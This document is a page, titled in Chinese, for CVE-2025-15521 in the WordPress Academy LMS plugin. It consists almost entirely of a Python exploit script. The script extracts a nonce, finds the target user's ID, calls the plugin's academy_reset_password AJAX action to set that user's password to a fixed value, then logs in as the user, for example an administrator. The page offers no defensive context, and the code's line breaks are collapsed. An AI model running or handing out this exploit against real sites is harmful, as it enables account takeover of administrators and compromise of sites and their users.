CVE-2025-15521 WordPress Academy LMS插件账户接管漏洞

import requests import re target = "http://target-wordpress-site.com" username = "admin" # Target username to takeover # Step 1: Get the publicly exposed nonce from the plugin session = requests.Session() # Get homepage to extract nonce resp = session.get(f"{target}/") # Academy LMS exposes nonce in its AJAX handlers or forms nonce_match = re.search(r'action":"academy_reset_password"[^}]*nonce":"([a-zA-Z0-9]+)', resp.text) if not nonce_match: # Alternative: Try to get nonce from login page resp = session.get(f"{target}/wp-login.php?action=lostpassword") nonce_match = re.search(r'_wpnonce" value="([a-zA-Z0-9]+)', resp.text) nonce = nonce_match.group(1) if nonce_match else None # Step 2: Get user ID for target username user_resp = session.get(f"{target}/wp-json/wp/v2/users?search={username}") user_id = user_resp.json()[0]['id'] if user_resp.json() else None # Step 3: Exploit the vulnerability - reset password if nonce and user_id: exploit_data = { 'action': 'academy_reset_password', 'user_id': str(user_id), 'new_password': 'P@ssw0rd123!', 'nonce': nonce, 're_new_password': 'P@ssw0rd123!' } exploit_resp = session.post( f"{target}/wp-admin/admin-ajax.php", data=exploit_data, headers={'Content-Type': 'application/x-www-form-urlencoded'} ) print(f"Exploit Status: {exploit_resp.status_code}") print(f"Response: {exploit_resp.text}") # Step 4: Login with new password login_data = { 'log': username, 'pwd': 'P@ssw0rd123!', 'wp-submit': 'Log In' } login_resp = session.post( f"{target}/wp-login.php", data=login_data, allow_redirects=True ) if 'wordpress_logged_in' in str(session.cookies): print("[+] Account takeover successful!") else: print("[-] Login failed")